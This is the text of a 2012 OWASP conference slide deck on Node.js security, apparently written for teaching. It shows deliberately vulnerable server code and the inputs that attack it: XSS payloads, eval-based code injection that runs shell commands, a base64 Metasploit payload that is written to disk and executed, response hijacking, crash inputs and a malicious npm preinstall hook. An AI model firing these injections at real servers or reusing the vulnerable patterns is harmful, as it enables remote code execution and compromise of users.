node.js security · table of contents i. preliminary remarks ii. node.js iii. dom-based xss iv....

59
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http:// www.owasp.org Sven Vetsch Redguard AG [email protected] www.redguard.ch @disenchant_ch / @redguard_ch German OWASP Day 2012 November 7th 2012 Node.js Security Old vulnerabilities in new dresses

Upload: others

Post on 14-Sep-2020

19 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation http://www.owasp.org

Sven Vetsch Redguard AG [email protected] www.redguard.ch @disenchant_ch / @redguard_ch

German OWASP Day 2012 November 7th 2012

Node.js Security"Old vulnerabilities in new dresses

Page 2: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Sven Vetsch §  Partner & CTO at Redguard AG

§  www.redguard.ch §  Specialized in Application Security

§  (Web, Web-Services, Mobile, …) §  Leader OWASP Switzerland

§  www.owasp.org / www.owasp.ch

[email protected]

Twitter: @disenchant_ch / @redguard_ch

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 2

Page 3: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Table of Contents I.  Preliminary Remarks II.  Node.js III.  DOM-based XSS IV.  Node.js Security V.  Wrap Up VI.  Q & A

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 3

Page 4: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Preliminary Remarks

I

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 4

Page 5: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Warning

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 5

Don’t use any of the code shown in this presentation unless you want to write insecure software!

Page 6: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Excuse

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 6

We won’t really go into how to avoid and fix things. You will see, that we’ll just talk about new possibilities

on exploiting well-known vulnerabilities anyway.

Page 7: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Node.js

JavaScript on your Server

II

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 7

Page 8: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Wait what…? §  Node aka. Node.js §  Open Source (http://nodejs.org/)

§  Platform built on Google's JavaScript runtime (V8) §  For easily building fast and scalable network

applications §  Node uses an event-driven, non-blocking I/O model §  Lightweight and efficient - perfect for data-intensive

real-time applications that run across distributed devices.

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 8

Page 9: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

In short… “Node allows JavaScript to be executed

server-side and provides APIs (i.e. to work with files and talk to devices on a network).”

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 9

Page 10: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Node.js Processing Model

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 10

© by Aaron Stannard

Page 11: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Who would use this?

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 11

Page 12: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Hello World var http = require('http'); http.createServer(function (req, res) {

res.writeHead(200, { 'Content-Type': 'text/plain’

});

res.end('Hello World\n'); }).listen(1337, '127.0.0.1');

console.log('Server running at http://127.0.0.1:1337/');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 12

Page 13: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Working with (GET) Parameters var http = require('http'); var url = require('url');

http.createServer(function (req, res) { res.writeHead(200, {

'Content-Type': 'text/html' }); var queryData = url.parse(req.url, true).query;

var name = queryData.name; console.log("Hello " + name);

res.end("Hello " + name); }).listen(1337, '127.0.0.1');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 13

Page 14: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Working with (GET) Parameters var http = require('http'); var url = require('url');

http.createServer(function (req, res) { res.writeHead(200, {

'Content-Type': 'text/html' }); var queryData = url.parse(req.url, true).query;

var name = queryData.name; console.log("Hello " + name);

res.end("Hello " + name); }).listen(1337, '127.0.0.1');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 14

Page 15: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Using %07 (BEL character) your machine goes bing

Funfact

Page 16: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

DOM-based XSS

(Don’t worry, we’ll come back to Node.js shortly)

III

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 16

Page 17: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Example 1 <!DOCTYPE html> <html>

<body> Hello <span id=“name”></span>

<script>

document.getElementById(“name”).innerHTML = document.location.hash.slice(1);

</script> </body>

</html>

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 17

Page 18: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Example 1 <!DOCTYPE html> <html>

<body> Hello <span id=“name”></span>

<script>

document.getElementById(“name”).innerHTML = document.location.hash.slice(1);

</script> </body>

</html>

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 18

Page 19: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Example 1 http://www.example.com/#John

http://www.example.com/#<h1>John</h1>

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 19

Page 20: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Example 1 http://www.example.com/#<img src="x" onerror="alert(1)"/>

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 20

Page 21: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Such an attack never hit’s the server so screw your WAF

Funfact

Page 22: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Node.js Security

IV

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 22

Page 23: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Modify existing functions function x() { console.log("X"); }

x();

x = function() { console.log("Y"); }

x();

(Yes, yes, ... I know that the code is ugly but we will see the use of prototype later)

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 23

Page 24: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Modify existing functions

§  This JavaScript feature will become very handy ;)

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 24

Page 25: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Source matters §  Depending on how you access data, the

encoding might be different:" §  Using reqest.url

aaa%3Cb%3Eaaa%3C/b%3E

§  Using url.parse(request.url).query aaa<b>aaa</b>

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 25

Page 26: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

So you’re saying … var http = require('http'); var url = require('url');

http.createServer(function (req, res) { res.writeHead(200, {

'Content-Type': 'text/html' }); var queryData = url.parse(req.url, true).query;

var name = queryData.name; console.log("Hello " + name);

res.end("Hello " + name); }).listen(1337, '127.0.0.1');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 26

Page 27: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Reflecting XSS

http://example.com/?name=John

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 27

Page 28: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Reflecting XSS http://example.com/?name=<script>alert(1);</script>

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 28

Page 29: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection §  It’s much like DOM-based XSS and all the

know sources and sinks also work on Node. §  http://code.google.com/p/domxsswiki/wiki/Index

§  Interesting is everything that performs an eval()

§  eval() is (and stays) evil

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 29

Page 30: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection

Be serious, who would use eval() or for example let unchecked code reach a

setTimeout()?

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 30

Page 31: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection §  Github returns 444’932 when searching for

“eval” in JavaScript code. §  Of course not all of those are in fact insecure

usages of the eval() function §  … but let’s have a look at some examples.

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 31

Page 32: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 32

Page 33: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 33

Page 34: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection §  Another example: How do you convert

JSON back to an object?

§  The good answer: JSON.parse(str);

§  The bad (but easier and more intuitive) answer: eval(str);

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 34

Page 35: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection §  “First, you'll use a JavaScript eval() function

to convert the JSON string into JavaScript objects.” return eval(json);

(https://developers.google.com/web-toolkit/doc/latest/tutorial/JSON)

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 35

Page 36: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection §  “With JSON, you use JavaScript's array and object

literals syntax to define data inside a text file in a way that can be returned as a JavaScript object using eval().” var jsondata = eval("("+mygetrequest.responseText+")")

(http://www.javascriptkit.com/dhtmltutors/ajaxgetpost4.shtml)

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 36

Page 37: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Server Side JavaScript Injection §  “Now that we have a JavaScript variable

holding our JSON text, we need to convert it to a JSON object. I promised we’d be able to do this with one line of code. Here it is:” var jsonobj = eval("(" + movielisttext + ")");

(http://www.webmonkey.com/2010/02/get_started_with_json/)

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 37

Page 38: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

(Ab)using JSON ...

var queryData = url.parse(req.url, true).query;

if (queryData.jsonString) {

var jsonObject =

eval('(' + queryData.jsonString + ')');

res.end(jsonObject.order[0].name+" ordered one "

+jsonObject.order[0].beer);

} else {

res.end("Please place your order.");

}

}).listen(1337, '127.0.0.1');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 38

Page 39: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

(Ab)using JSON http://example.com/?jsonString={"order":[{"name":"John","beer":"Murphy’s Red"}]}

And because of: eval('(' + queryData.jsonString + ')');

http://example.com/?jsonString={"order":[{"name":"John”,"beer":console.log(1)}]}

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 39

Page 40: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Code Execution var http = require('http'); var url = require('url'); http.createServer(function (req, res) { var queryData = url.parse(req.url, true).query; eval("console.log('"+queryData.log+"')"); res.writeHead(200, { 'Content-Type': 'text/plain’ }); res.end('Hello World\n'); }).listen(1337, '127.0.0.1');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 40

Page 41: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Code Execution var http = require('http'); var url = require('url'); http.createServer(function (req, res) { var queryData = url.parse(req.url, true).query; eval("console.log('"+queryData.log+"')"); res.writeHead(200, { 'Content-Type': 'text/plain’ }); res.end('Hello World\n'); }).listen(1337, '127.0.0.1');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 41

Page 42: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Code Execution var sys = require('sys'); var exec = require('child_process').exec; function puts(error, stdout, stderr) { sys.puts(stdout) } Exec("ls -lah", puts);

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 42

Page 43: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Code Execution http://example.com/?log=1');var sys = require('sys'); var exec = require('child_process').exec; function puts(error, stdout, stderr) { sys.puts(stdout) } exec("ls -lah", puts);//

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 43

Page 44: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Metasploit meterpreter http://example.com/?log=1');var sys = require('sys'); var exec = require('child_process').exec; function puts(error, stdout, stderr) { sys.puts(stdout) } exec("echo 'f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1towKgOAWgCAB%2bQieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/%2bE=' | base64 -d > x; chmod 777 x; ./x;", puts);//

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 44

Page 45: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Hijack Response http://example.com/?log=1');var orig = http.ServerResponse.prototype.write; function newWrite (chunk) {orig.call(this, chunk%2b' hijacked');} http.ServerResponse.prototype.write = newWrite;//

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 45

Page 46: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Hijack Response §  Before hijacking:

§  After hijacking:

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 46

Page 47: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

An unhandled exception crashes your server.

Funfact

Page 48: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Simple Crash Demo var http = require('http'); var url = require('url'); http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/html'}); var queryData = url.parse(req.url, true).query; var number_of_decimals = 1; if (queryData.nod) {number_of_decimals = queryData.nod;} res.end( Math.PI.toFixed(number_of_decimals).toString() ); }).listen(1337, '127.0.0.1');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 48

Page 49: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Simple Crash Demo var http = require('http'); var url = require('url'); http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/html'}); var queryData = url.parse(req.url, true).query; var number_of_decimals = 1; if (queryData.nod) {number_of_decimals = queryData.nod;} res.end( Math.PI.toFixed(number_of_decimals).toString() ); }).listen(1337, '127.0.0.1');

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 49

Page 50: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Simple Crash Demo number.toFixed( [digits] ) §  digits The number of digits to appear after the decimal point; this may be a value between 0 and 20, inclusive, and implementations may optionally support a larger range of values. If this argument is omitted, it is treated as 0.

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 50

Page 51: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Simple Crash Demo http://example.com/?nod=-1

... or ...

http://example.com/?nod=21

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 51

Page 52: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Does Node.js support… Sessions   NO  

Permanent  Data  Storage   NO  

Caching   NO  

Database  Access   NO  

Logging   NO  

Default  Error  Handling   NO  

…   Most  likely  NO  

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 52

Page 53: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

npm - Node Packaged Modules

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 53

§  npm is a Node.js package manager §  https://npmjs.org/

§  De-facto standard §  Open – everyone can publish packages

Page 54: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

npm - Node Packaged Modules

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 54

§  npm init

§  Edit package.json like we’ll see in a second §  npm pack

§  npm install evilModule-1.2.3.tgz

§  Publish J

Page 55: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

npm - Node Packaged Modules

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 55

{

"author": "Sven Vetsch <[email protected]>",

"name": "evilModule",

"version": "1.2.3",

"dependencies": {},

"engines": {

"node": "*"

},

"description": "An evil module that you shouldn't use!",

"homepage": "https://www.redguard.ch/"

}

Page 56: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

npm - Node Packaged Modules

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 56

{ "author": "Sven Vetsch", "name": "evilModule", "version": "1.2.3", "scripts": { "preinstall": "ls -lah; whoami" } }

Page 57: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Wrap Up

V

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 57

Page 58: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Wrap Up §  Using Node.js can be a good thing but you

§  have to care about a lot of things §  know the modules you can use §  need to write a lot of code yourself until someone writes

a module for it §  We have to wait for (and help) improve modules that

make Node.js applications more secure. §  Training for developers is key as they can’t write

secure Node.js application without even understanding the most simple XSS vectors.

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 58

Page 59: Node.js Security · Table of Contents I. Preliminary Remarks II. Node.js III. DOM-based XSS IV. Node.js Security V. Wrap Up VI. Q & A 7 November 2012 OWASP Foundation | Sven Vetsch

Q & A

[email protected]

@disenchant_ch / @redguard_ch

VI

7 November 2012 OWASP Foundation | Sven Vetsch | [email protected] 59